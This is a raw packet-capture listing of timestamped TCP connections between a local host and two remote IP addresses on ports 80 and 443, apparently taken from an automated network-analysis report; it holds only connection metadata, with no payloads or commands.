Oct 29, 2021 20:10:57.365088940 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.365101099 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.365112066 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.365122080 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.365137100 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.365142107 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.365163088 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.365184069 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.365185022 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.365201950 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.365225077 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.365226030 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.365243912 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.365258932 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.365268946 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.365294933 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.365303040 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.365312099 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.365328074 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.365346909 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.365354061 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.365362883 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.365377903 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.365391016 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.365394115 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.365410089 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.365423918 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.365426064 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.365441084 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.365451097 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.365457058 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.365470886 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.365488052 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.365490913 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.365549088 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.417469978 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.417498112 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.417515993 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.417532921 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.417547941 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.417563915 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.417582035 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.417594910 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.417599916 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.417609930 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.417628050 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.417643070 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.417659044 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.417674065 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.417675972 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.417691946 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.417709112 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.417721987 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.417726040 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.417751074 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.417757988 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.417779922 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.417815924 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.418137074 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.469795942 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.835854053 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:57.835906029 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:57.835992098 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:57.887542009 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:57.887592077 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:57.926587105 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:57.926671982 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:57.929419994 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:57.929438114 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:57.929734945 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:58.056149960 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.038187027 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.080873013 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.084261894 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.084367037 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.084417105 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.084465027 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.084506989 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.084538937 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.084548950 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.084577084 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.084597111 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.084641933 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.084652901 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.084697008 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.084733009 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.084749937 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.084759951 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.084790945 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.084810019 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.084842920 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.084892988 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.084903955 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.084913015 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.084968090 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.084973097 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.084986925 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.085028887 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.085077047 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.085113049 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.085144997 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.085172892 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.085182905 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.085191965 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.085231066 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.085264921 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.085304976 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.085316896 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.085325956 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.085378885 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.085378885 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.085391045 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.085429907 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.085449934 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.085484028 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.085513115 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.085552931 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.085552931 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.085557938 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.085565090 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.085612059 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.085619926 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.085660934 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.085700035 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.085705996 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.085712910 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.085768938 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.085803032 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.085833073 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.085838079 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.085850000 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.085892916 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.085915089 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.085942030 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.085951090 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.085969925 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.086002111 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.086008072 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.086026907 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.101114035 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.101207018 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.101227045 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.101386070 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.102035046 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.102174997 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.102256060 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.102260113 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.102273941 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.102322102 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.102329969 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.102371931 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.102380037 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.102385998 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.102427959 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.102427959 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.102480888 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.102488041 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.102503061 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.102555990 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.102559090 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.102571011 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.102617025 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.102622986 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.102646112 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.102653027 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.102674961 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.102675915 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.102739096 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.102739096 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.102754116 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.102798939 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.102842093 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.102865934 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.102874041 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.102973938 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.102978945 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.103102922 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.103177071 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.103193045 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.103204966 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.103218079 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.103229046 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.103254080 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.103262901 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.103286982 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.103789091 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.104120970 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.119776964 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.119868040 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.119879961 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.119894981 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.119929075 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.119961023 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.120002985 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.120018005 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.120040894 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.120088100 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.120098114 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.120115042 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.120162964 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.120172977 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.120188951 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.120238066 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.120246887 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.120263100 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.120307922 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.120316982 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.120332003 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.120377064 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.120384932 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.120403051 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.120448112 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.120455980 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.120482922 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.120527029 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.120534897 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.120573997 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.120620012 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.120625973 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.120656967 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.120702028 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.120707989 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.120748997 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.120794058 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.120800972 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.120812893 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.120868921 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.120874882 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.120898008 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.120946884 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.120951891 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.120966911 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.121010065 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.121017933 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.121032953 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.121077061 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.121083975 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.121119022 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.121165991 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.121172905 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.121232033 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.121277094 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.121287107 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.121305943 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.121351957 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.121359110 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.121370077 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.121414900 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.121421099 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.121434927 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.121462107 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.121483088 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.121488094 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.121517897 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.121558905 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.121566057 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.121618986 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.121670961 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.121680975 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.121690989 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.121731043 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.121762037 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.121800900 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.121850014 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.121860027 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.121867895 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.121901035 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.121918917 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.121934891 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.121984959 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.121994972 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.122001886 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.122026920 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.122051001 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.122092962 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.122210026 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.122262001 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.122275114 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.122283936 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.122298002 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.122324944 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.122405052 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.122450113 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.122466087 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.122473001 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.122495890 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.122515917 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.124814987 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.125293970 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.135251045 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.135323048 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.135358095 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.135375977 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.135404110 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.135406971 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.135426998 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.135433912 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.135448933 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.135493040 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.135513067 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.135571957 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.135579109 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.135587931 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.135608912 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.135618925 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.137937069 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.137974024 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.138034105 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.138051033 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.138060093 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.138083935 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.138115883 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.138138056 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.138144016 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.138161898 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.138190031 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.138253927 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.138283968 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.138312101 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.138317108 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.138349056 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.138355970 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.138401031 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.138436079 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.138461113 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.138465881 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.138492107 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.138516903 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.138601065 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.138664007 CEST	49826	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:59.138660908 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.138688087 CEST	443	49826	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:59.138720989 CEST	49826	443	192.168.2.5	162.159.133.233
